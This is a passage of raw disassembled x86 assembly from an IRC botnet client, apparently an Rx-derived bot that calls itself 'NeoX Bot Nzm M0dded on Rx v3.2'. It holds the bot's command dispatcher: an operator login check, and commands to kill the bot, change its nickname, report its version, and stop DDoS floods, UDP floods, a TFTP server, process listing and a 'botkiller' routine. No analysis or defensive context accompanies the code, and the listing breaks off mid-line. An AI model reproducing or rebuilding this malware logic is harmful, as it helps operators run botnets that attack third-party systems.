cmp [ebp+var_85C], 0 jz short loc_40B5E8 loc_40B5DC: ; CODE XREF: sub_40ABFE+9D3j lea eax, [ebp+var_B8] mov dword ptr [ebp+var_98], eax loc_40B5E8: ; CODE XREF: sub_40ABFE+9DCj cmp [ebp+var_94], 0 jnz short loc_40B5F9 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B5F9: ; CODE XREF: sub_40ABFE+9F1j mov eax, [ebp+var_94] inc eax mov [ebp+var_94], eax cmp [ebp+var_94], 0 jz short loc_40B64C cmp [ebp+Dest], 0 jz short loc_40B64C lea eax, [ebp+var_20] push eax ; Str call _strlen pop ecx push eax ; MaxCount push [ebp+var_94] ; Str2 lea eax, [ebp+var_20] push eax ; Str1 call _strncmp add esp, 0Ch test eax, eax jnz short loc_40B642 mov [ebp+var_BC], 4 jmp short loc_40B64C ; --------------------------------------------------------------------------- loc_40B642: ; CODE XREF: sub_40ABFE+A36j mov [ebp+var_BC], 3 loc_40B64C: ; CODE XREF: sub_40ABFE+A0Fj ; sub_40ABFE+A15j ... mov eax, [ebp+var_BC] cmp [ebp+eax*4+Str2], 0 jnz short loc_40B664 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B664: ; CODE XREF: sub_40ABFE+A5Cj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset dword_4220A4 ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz loc_40B786 mov eax, dword ptr [ebp+var_98] movsx eax, byte ptr [eax] cmp eax, 23h jz loc_40B720 mov eax, dword_470258 mov eax, off_421D40[eax*4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40B720 mov eax, dword_470258 push off_421D40[eax*4] push dword ptr [ebp+var_98] ; char push offset dword_4220B0 ; Format push [ebp+s] ; int call sub_40A03C add esp, 10h lea eax, [ebp+var_B8] push eax push offset aSHasJustVersio ; "%s has just versioned me." lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax call sub_40913D pop ecx cmp [ebp+var_864], 0 jnz short loc_40B718 push 0 push 1 lea eax, [ebp+Dst] push eax push offset aNhg_0 ; "#!nhg!#" push [ebp+s] call sub_40A08D add esp, 14h loc_40B718: ; CODE XREF: sub_40ABFE+AFDj push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B720: ; CODE XREF: sub_40ABFE+A93j ; sub_40ABFE+AAAj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset dword_4220E8 ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B786 mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40B786 mov eax, dword ptr [ebp+var_98] movsx eax, byte ptr [eax] cmp eax, 23h jz short loc_40B786 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push dword ptr [ebp+var_98] ; char push offset dword_4220F0 ; Format push [ebp+s] ; int call sub_40A03C add esp, 10h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B786: ; CODE XREF: sub_40ABFE+A81j ; sub_40ABFE+B3Dj ... jmp short loc_40B7AB ; --------------------------------------------------------------------------- loc_40B788: ; CODE XREF: sub_40ABFE+988j mov [ebp+var_BC], 4 mov eax, dword ptr [ebp+var_90] inc eax mov dword ptr [ebp+var_90], eax mov eax, [ebp+var_94] mov dword ptr [ebp+var_98], eax loc_40B7AB: ; CODE XREF: sub_40ABFE:loc_40B786j mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+Str2] movsx eax, byte ptr [eax] movsx ecx, byte_421C44 mov edx, [ebp+var_BC] mov edx, [ebp+edx*4+Str2] inc edx mov esi, [ebp+var_BC] mov [ebp+esi*4+Str2], edx cmp eax, ecx jz short loc_40B7E9 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B7E9: ; CODE XREF: sub_40ABFE+BE1j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aLogin ; "login" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40BA9C mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40B823 cmp [ebp+var_864], 0 jz short loc_40B82B loc_40B823: ; CODE XREF: sub_40ABFE+C1Aj push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B82B: ; CODE XREF: sub_40ABFE+C23j push offset asc_422108 ; "!" push [ebp+Str2] ; Str call _strtok pop ecx pop ecx inc eax mov [ebp+var_8EC], eax push offset byte_470260 ; Delim push 0 ; Str call _strtok pop ecx pop ecx mov [ebp+var_8F0], eax push offset asc_42210C ; "~" push [ebp+var_8F0] ; Str call _strtok pop ecx pop ecx mov [ebp+var_8F0], eax mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str2 push offset aNhg_1 ; "nhg" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40B8FD push [ebp+var_8F0] lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_B8] push eax ; char push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+s] ; int call sub_40A03C add esp, 14h lea eax, [ebp+var_B8] push eax ; char push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch push [ebp+var_8F0] push [ebp+var_8EC] push offset dword_42215C ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B8FD: ; CODE XREF: sub_40ABFE+C8Dj and [ebp+var_8E8], 0 and [ebp+var_5D8], 0 jmp short loc_40B91A ; --------------------------------------------------------------------------- loc_40B90D: ; CODE XREF: sub_40ABFE:loc_40B94Dj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40B91A: ; CODE XREF: sub_40ABFE+D0Dj cmp [ebp+var_5D8], 1 jnb short loc_40B94F push [ebp+var_8F0] mov eax, [ebp+var_5D8] push off_421D3C[eax*4] call sub_41078E pop ecx pop ecx test eax, eax jz short loc_40B94D mov [ebp+var_8E8], 1 jmp short loc_40B94F ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40ABFE+D41j jmp short loc_40B90D ; --------------------------------------------------------------------------- loc_40B94F: ; CODE XREF: sub_40ABFE+D23j ; sub_40ABFE+D4Dj cmp [ebp+var_8E8], 0 jnz short loc_40B9C8 push [ebp+var_8F0] lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_B8] push eax ; char push offset aNoticeSNiceT_0 ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+s] ; int call sub_40A03C add esp, 14h lea eax, [ebp+var_B8] push eax ; char push offset aNoticeSYouVe_0 ; "NOTICE %s :You've been logged.\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch push [ebp+var_8F0] push [ebp+var_8EC] push offset dword_4221E4 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B9C8: ; CODE XREF: sub_40ABFE+D58j and [ebp+var_5D8], 0 jmp short loc_40B9DE ; --------------------------------------------------------------------------- loc_40B9D1: ; CODE XREF: sub_40ABFE+E19j ; sub_40ABFE:loc_40BA8Fj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40B9DE: ; CODE XREF: sub_40ABFE+DD1j cmp [ebp+var_5D8], 2 jge loc_40BA94 mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jnz short loc_40BA03 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40BA03: ; CODE XREF: sub_40ABFE+DFBj mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz short loc_40BA19 jmp short loc_40B9D1 ; --------------------------------------------------------------------------- loc_40BA19: ; CODE XREF: sub_40ABFE+E17j mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str2 push offset aNhg_1 ; "nhg" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40BA8F push 7Fh ; Count lea eax, [ebp+var_658] push eax ; Source mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40BA7A push 0 push [ebp+var_85C] push offset dword_422220 push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40BA7A: ; CODE XREF: sub_40ABFE+E5Cj lea eax, [ebp+var_B8] push eax ; char push offset dword_422250 ; Format call sub_4091D3 pop ecx pop ecx jmp short loc_40BA94 ; --------------------------------------------------------------------------- loc_40BA8F: ; CODE XREF: sub_40ABFE+E36j jmp loc_40B9D1 ; --------------------------------------------------------------------------- loc_40BA94: ; CODE XREF: sub_40ABFE+DE7j ; sub_40ABFE+E8Fj push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40ABFE+C06j cmp [ebp+var_864], 0 jnz short loc_40BABF push [ebp+lpFileName] ; Str2 push offset a332_2 ; "332" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40F50F loc_40BABF: ; CODE XREF: sub_40ABFE+EA5j cmp [ebp+arg_28], 0 jnz loc_40F50F and [ebp+var_5D8], 0 jmp short loc_40BADF ; --------------------------------------------------------------------------- loc_40BAD2: ; CODE XREF: sub_40ABFE:loc_40BD63j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40BADF: ; CODE XREF: sub_40ABFE+ED2j mov eax, [ebp+var_5D8] cmp eax, dword_421DF0 jge loc_40BD68 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 mov eax, [ebp+var_5D8] imul eax, 0B8h add eax, offset byte_42A7C0 push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz loc_40BD63 push offset asc_422284 ; " :" push [ebp+Src] ; Str call _strstr pop ecx pop ecx mov [ebp+var_8F4], eax cmp [ebp+var_8F4], 0 jnz short loc_40BB45 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40BB45: ; CODE XREF: sub_40ABFE+F3Dj mov eax, [ebp+var_8F4] mov cl, byte_421C44 mov [eax+2], cl mov eax, [ebp+var_8F4] mov cl, byte_421C44 mov [eax+3], cl push 9Fh ; Count mov eax, [ebp+var_5D8] imul eax, 0B8h add eax, offset dword_42A7D8 push eax ; Source mov eax, [ebp+var_8F4] add eax, 4 push eax ; Dest call _strncpy add esp, 0Ch mov [ebp+var_C0], 0Fh jmp short loc_40BBA5 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40ABFE:loc_40BCC1j mov eax, [ebp+var_C0] dec eax mov [ebp+var_C0], eax loc_40BBA5: ; CODE XREF: sub_40ABFE+F98j cmp [ebp+var_C0], 0 jle loc_40BCC6 push [ebp+var_C0] push offset aD ; "$%d-" lea eax, [ebp+SubStr] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr pop ecx pop ecx test eax, eax jz loc_40BC73 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40BC73 mov eax, [ebp+var_5D8] imul eax, 0B8h add eax, offset byte_42A7C0 push eax ; Str call _strlen pop ecx mov ecx, [ebp+var_2D4] add ecx, eax mov [ebp+var_2D4], ecx cmp [ebp+var_2D4], 0 jz short loc_40BC71 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] push [ebp+eax*4+Str2] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov [ebp+Source], eax cmp [ebp+Source], 0 jz short loc_40BC71 push [ebp+Source] ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch loc_40BC71: ; CODE XREF: sub_40ABFE+102Aj ; sub_40ABFE+1059j jmp short loc_40BCC1 ; --------------------------------------------------------------------------- loc_40BC73: ; CODE XREF: sub_40ABFE+FE1j ; sub_40ABFE+FFBj mov eax, [ebp+var_BC] add eax, [ebp+var_C0] cmp [ebp+eax*4+lpFileName], 0 jnz short loc_40BCC1 push 2 ; Count lea eax, [ebp+SubStr] push eax ; Source lea eax, [ebp+var_860] push eax ; Dest call _strncpy add esp, 0Ch and [ebp+var_85E], 0 lea eax, [ebp+var_860] push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch loc_40BCC1: ; CODE XREF: sub_40ABFE:loc_40BC71j ; sub_40ABFE+1089j jmp loc_40BB98 ; --------------------------------------------------------------------------- loc_40BCC6: ; CODE XREF: sub_40ABFE+FAEj mov [ebp+var_C0], 10h jmp short loc_40BCDF ; --------------------------------------------------------------------------- loc_40BCD2: ; CODE XREF: sub_40ABFE:loc_40BD52j mov eax, [ebp+var_C0] dec eax mov [ebp+var_C0], eax loc_40BCDF: ; CODE XREF: sub_40ABFE+10D2j cmp [ebp+var_C0], 0 jle short loc_40BD57 push [ebp+var_C0] push offset aD_0 ; "$%d" lea eax, [ebp+SubStr] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr pop ecx pop ecx test eax, eax jz short loc_40BD52 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] cmp [ebp+eax*4+Str2], 0 jz short loc_40BD52 mov eax, [ebp+var_BC] add eax, [ebp+var_C0] push [ebp+eax*4+Str2] ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch loc_40BD52: ; CODE XREF: sub_40ABFE+1117j ; sub_40ABFE+112Dj jmp loc_40BCD2 ; --------------------------------------------------------------------------- loc_40BD57: ; CODE XREF: sub_40ABFE+10E8j mov [ebp+var_C4], 1 jmp short loc_40BD68 ; --------------------------------------------------------------------------- loc_40BD63: ; CODE XREF: sub_40ABFE+F1Bj jmp loc_40BAD2 ; --------------------------------------------------------------------------- loc_40BD68: ; CODE XREF: sub_40ABFE+EEDj ; sub_40ABFE+1163j mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+Str2] movsx eax, byte ptr [eax] movsx ecx, byte_421C44 cmp eax, ecx jz short loc_40BD90 cmp [ebp+var_C4], 0 jz loc_40BFF2 loc_40BD90: ; CODE XREF: sub_40ABFE+1183j push [ebp+Dest] ; Source push offset aMe_0 ; "$me" push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch lea eax, [ebp+var_B8] push eax ; Source push offset aUser_0 ; "$user" push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch push dword ptr [ebp+var_98] ; Source push offset aChan ; "$chan" push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch push 0 ; Str1 push 0 ; int lea eax, [ebp+SubStr] push eax ; Dest call sub_40FD9A add esp, 0Ch push eax ; Source push offset aRndnick ; "$rndnick" push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch push [ebp+arg_14] ; Source push offset aServer ; "$server" push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch loc_40BE07: ; CODE XREF: sub_40ABFE+1330j push offset aChr ; "$chr(" push [ebp+Src] ; Str call _strstr pop ecx pop ecx test eax, eax jz loc_40BF33 push offset aChr_0 ; "$chr(" push [ebp+Src] ; Str call _strstr pop ecx pop ecx mov [ebp+var_8FC], eax push 4 ; Count mov eax, [ebp+var_8FC] add eax, 5 push eax ; Source lea eax, [ebp+SubStr] push eax ; Dest call _strncpy add esp, 0Ch push offset asc_4222CC ; ")" lea eax, [ebp+SubStr] push eax ; Str call _strtok pop ecx pop ecx movsx eax, [ebp+SubStr] cmp eax, 30h jl short loc_40BE79 movsx eax, [ebp+SubStr] cmp eax, 39h jle short loc_40BE8F loc_40BE79: ; CODE XREF: sub_40ABFE+126Dj push 3 ; Count push offset a63 ; "63" lea eax, [ebp+SubStr] push eax ; Dest call _strncpy add esp, 0Ch loc_40BE8F: ; CODE XREF: sub_40ABFE+1279j lea eax, [ebp+SubStr] push eax ; Str call _atoi pop ecx test eax, eax jle short loc_40BEB5 lea eax, [ebp+SubStr] push eax ; Str call _atoi pop ecx mov [ebp+var_860], al jmp short loc_40BEC9 ; --------------------------------------------------------------------------- loc_40BEB5: ; CODE XREF: sub_40ABFE+12A0j call _rand cdq push 60h pop ecx idiv ecx add edx, 20h mov [ebp+var_860], dl loc_40BEC9: ; CODE XREF: sub_40ABFE+12B5j and [ebp+var_85F], 0 lea eax, [ebp+SubStr] push eax ; Str call _strlen pop ecx mov [ebp+var_C0], eax push 0Ch ; Size push 0 ; Val lea eax, [ebp+SubStr] push eax ; Dst call _memset add esp, 0Ch mov eax, [ebp+var_C0] add eax, 6 push eax ; Count push [ebp+var_8FC] ; Source lea eax, [ebp+SubStr] push eax ; Dest call _strncpy add esp, 0Ch lea eax, [ebp+var_860] push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_407F48 add esp, 0Ch jmp loc_40BE07 ; --------------------------------------------------------------------------- loc_40BF33: ; CODE XREF: sub_40ABFE+121Aj push 1FFh ; Count push [ebp+Src] ; Source lea eax, [ebp+var_2D0] push eax ; Dest call _strncpy add esp, 0Ch push 1FFh ; Count lea eax, [ebp+var_2D0] push eax ; Source lea eax, [ebp+var_5D4] push eax ; Dest call _strncpy add esp, 0Ch push offset asc_4222D4 ; " " lea eax, [ebp+var_5D4] push eax ; Str call _strtok pop ecx pop ecx mov [ebp+Str2], eax mov [ebp+var_5D8], 1 jmp short loc_40BF97 ; --------------------------------------------------------------------------- loc_40BF8A: ; CODE XREF: sub_40ABFE+13BDj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40BF97: ; CODE XREF: sub_40ABFE+138Aj cmp [ebp+var_5D8], 20h jge short loc_40BFBD push offset asc_4222D8 ; " " push 0 ; Str call _strtok pop ecx pop ecx mov ecx, [ebp+var_5D8] mov [ebp+ecx*4+Str2], eax jmp short loc_40BF8A ; --------------------------------------------------------------------------- loc_40BFBD: ; CODE XREF: sub_40ABFE+13A0j mov eax, [ebp+var_BC] cmp [ebp+eax*4+Str2], 0 jnz short loc_40BFD5 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40BFD5: ; CODE XREF: sub_40ABFE+13CDj mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+Str2] add eax, 3 mov ecx, [ebp+var_BC] mov [ebp+ecx*4+Str2], eax loc_40BFF2: ; CODE XREF: sub_40ABFE+118Cj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_rndnick ; "irc.rndnick" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C02C mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aRn ; "rn" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C077 loc_40C02C: ; CODE XREF: sub_40ABFE+140Fj mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str1 push dword_421C4C ; int lea eax, [ebp+var_20] push eax ; Dest call sub_40FD9A add esp, 0Ch lea eax, [ebp+var_20] push eax ; char push offset aNickS_0 ; "NICK %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch lea eax, [ebp+var_20] push eax ; char push offset dword_4222F8 ; Format call sub_4091D3 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C077: ; CODE XREF: sub_40ABFE+142Cj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_die ; "irc.die" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C0B1 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_di ; "irc.di" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C0D9 loc_40C0B1: ; CODE XREF: sub_40ABFE+1494j push [ebp+lpFileName] ; Str2 push offset a332_0 ; "332" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C0D4 call sub_41050C push 0 ; uExitCode call ds:ExitProcess ; ExitProcess ; --------------------------------------------------------------------------- loc_40C0D4: ; CODE XREF: sub_40ABFE+14C7j jmp loc_40EAE8 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40ABFE+14B1j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_logout ; "irc.logout" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C117 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aLo ; "lo" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40C282 loc_40C117: ; CODE XREF: sub_40ABFE+14F6j mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz loc_40C1D9 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _atoi pop ecx mov [ebp+var_5D8], eax cmp [ebp+var_5D8], 0 jl short loc_40C1BD cmp [ebp+var_5D8], 2 jge short loc_40C1BD mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz short loc_40C1A1 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+1] push eax push offset dword_422350 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 jmp short loc_40C1BB ; --------------------------------------------------------------------------- loc_40C1A1: ; CODE XREF: sub_40ABFE+156Aj push [ebp+var_5D8] push offset dword_422380 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40C1BB: ; CODE XREF: sub_40ABFE+15A1j jmp short loc_40C1D7 ; --------------------------------------------------------------------------- loc_40C1BD: ; CODE XREF: sub_40ABFE+154Dj ; sub_40ABFE+1556j push [ebp+var_5D8] push offset dword_4223BC ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40C1D7: ; CODE XREF: sub_40ABFE:loc_40C1BBj jmp short loc_40C247 ; --------------------------------------------------------------------------- loc_40C1D9: ; CODE XREF: sub_40ABFE+1527j and [ebp+var_5D8], 0 jmp short loc_40C1EF ; --------------------------------------------------------------------------- loc_40C1E2: ; CODE XREF: sub_40ABFE:loc_40C245j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40C1EF: ; CODE XREF: sub_40ABFE+15E2j cmp [ebp+var_5D8], 2 jge short loc_40C247 push [ebp+Str2] ; Str2 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C245 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 lea eax, [ebp+var_B8] push eax push offset dword_4223F8 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40C247 ; --------------------------------------------------------------------------- loc_40C245: ; CODE XREF: sub_40ABFE+1618j jmp short loc_40C1E2 ; --------------------------------------------------------------------------- loc_40C247: ; CODE XREF: sub_40ABFE:loc_40C1D7j ; sub_40ABFE+15F8j ... cmp [ebp+var_4], 0 jnz short loc_40C26D push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40C26D: ; CODE XREF: sub_40ABFE+164Dj lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C282: ; CODE XREF: sub_40ABFE+1513j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_version ; "irc.version" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C2BC mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aVer ; "ver" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C310 loc_40C2BC: ; CODE XREF: sub_40ABFE+169Fj push offset aNeoxBotNzmM0dd ; "NeoX Bot Nzm M0dded on Rx v3.2" push offset dword_422438 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40C2FB push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40C2FB: ; CODE XREF: sub_40ABFE+16DBj lea eax, [ebp+Dst] push eax call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C310: ; CODE XREF: sub_40ABFE+16BCj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aLog_off ; "log.off" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C368 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 1Dh ; int push offset aLogList ; "Log list" push offset dword_42246C ; int push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C368: ; CODE XREF: sub_40ABFE+172Dj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDdos_off ; "ddos.off" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C3C0 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 0Ah ; int push offset aDdosFlood ; "DDoS flood" push offset dword_422490 ; int push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C3C0: ; CODE XREF: sub_40ABFE+1785j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDdos_udp_off ; "ddos.udp.off" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C418 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 0Fh ; int push offset aUdpFlood ; "UDP flood" push offset dword_4224B8 ; int push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C418: ; CODE XREF: sub_40ABFE+17DDj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDaemon_tftp_of ; "daemon.tftp.off" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C470 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 4 ; int push offset aServer_0 ; "Server" push offset dword_4224DC ; int push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C470: ; CODE XREF: sub_40ABFE+1835j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_procs_off ; "com.procs.off" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C4AA mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_ps_off ; "com.ps.off" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C4E5 loc_40C4AA: ; CODE XREF: sub_40ABFE+188Dj mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 1Fh ; int push offset aProcessList ; "Process list" push offset dword_422514 ; int push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C4E5: ; CODE XREF: sub_40ABFE+18AAj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBotkiller_off ; "botkiller.off" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C51F mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBk_off ; "bk.off" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C55A loc_40C51F: ; CODE XREF: sub_40ABFE+1902j mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 21h ; int push offset aBotkiller ; "Botkiller" push offset aBotkiller_0 ; "BOTKILLER" push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C55A: ; CODE XREF: sub_40ABFE+191Fj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aLockdown_stop ; "lockdown.stop" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C5B2 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 1Ah ; int push offset aSecure ; "Secure" push offset dword_422568 ; int push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE 